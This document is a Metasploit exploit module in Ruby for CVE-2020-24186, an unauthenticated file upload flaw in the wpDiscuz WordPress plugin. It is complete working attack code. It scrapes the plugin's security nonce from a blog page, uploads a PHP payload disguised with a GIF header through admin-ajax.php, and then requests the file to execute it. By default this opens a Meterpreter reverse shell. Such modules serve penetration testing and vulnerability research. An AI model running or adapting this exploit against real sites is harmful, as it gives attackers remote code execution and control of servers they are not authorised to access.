WordPress wpDiscuz Unauthenticated File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress wpDiscuz Unauthenticated File Upload Vulnerability',
        'Description' => %q{
          This module exploits an arbitrary file upload in the WordPress wpDiscuz plugin
          versions >= `7.0.0` and <= `7.0.4`. This flaw gave unauthenticated attackers the ability
          to upload arbitrary files, including PHP files, and achieve remote code execution on a
          vulnerable site’s server.
        },
        'Author' => [
          'Chloe Chamberland', # Vulnerability Discovery, initial msf module
          'Hoa Nguyen - SunCSR' # Metasploit Module enhancement
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-24186'],
          ['WPVDB', '10333'],
          ['URL', 'https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/'],
          ['URL', 'https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md'],
          ['URL', 'https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['wpDiscuz < 7.0.5', {}]],
        'DisclosureDate' => '2020-02-21',
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
      )

    register_options [
      OptString.new('BLOGPATH', [true, 'Link to the post [/index.php/2020/12/12/post1]', nil]),
    ]
  end

  def check
    check_plugin_version_from_readme('wpdiscuz', '7.0.5', '7.0.0')
  end

  def blogpath
    datastore['BLOGPATH']
  end

  def find_wmusecurity_id
    res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, blogpath) })
    fail_with(Failure::UnexpectedReply, 'Failed to access blog page') unless res

    wmusecurity_id = res.body.match(/wmuSecurity":"(\w+)/)&.captures
    unless wmusecurity_id
      fail_with(Failure::NotFound, 'Failed to retrieve the wmusecurity id')
    end

    wmusecurity_id
  end

  def exploit
    wmusecurity_id = find_wmusecurity_id[0]
    php_page_name = "#{rand_text_alpha(5..12)}.php"
    data = Rex::MIME::Message.new
    data.add_part('wmuUploadFiles', nil, nil, 'form-data; name="action"')
    data.add_part(wmusecurity_id, nil, nil, 'form-data; name="wmu_nonce"')
    data.add_part('undefined', nil, nil, 'form-data; name="wmuAttachmentsData"')
    data.add_part('1', nil, nil, 'form-data; name="postId"')
    data.add_part("GIF8#{payload.encoded}", 'image/gif', nil, "form-data; name=\"wmu_files[0]\"; filename=\"#{php_page_name}\"")
    post_data = data.to_s

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    )

    fail_with(Failure::UnexpectedReply, 'Server did not respond') unless res
    unless res.code == 200 && res.body =~ /#{php_page_name}/
      fail_with(Failure::UnexpectedReply, 'Unable to deploy payload')
    end

    json_data = JSON.parse(res.body)
    upload_url = json_data.dig('data', 'previewsData', 'images', 0, 'url')
    fail_with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful") unless upload_url
    wp_shell_upload = upload_url.split('/').last
    fail_with(Failure::NotFound, "#{peer} - Path not found in response body") unless wp_shell_upload.ends_with?('.php')
    print_good("Payload uploaded as #{php_page_name}")
    register_file_for_cleanup(php_page_name)

    print_status('Calling payload...')
    time = Time.new
    year = time.year.to_s
    month = format('%02d', time.month)
    send_request_cgi(
      { 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', year.to_s, month.to_s, wp_shell_upload) }
    )
  end
end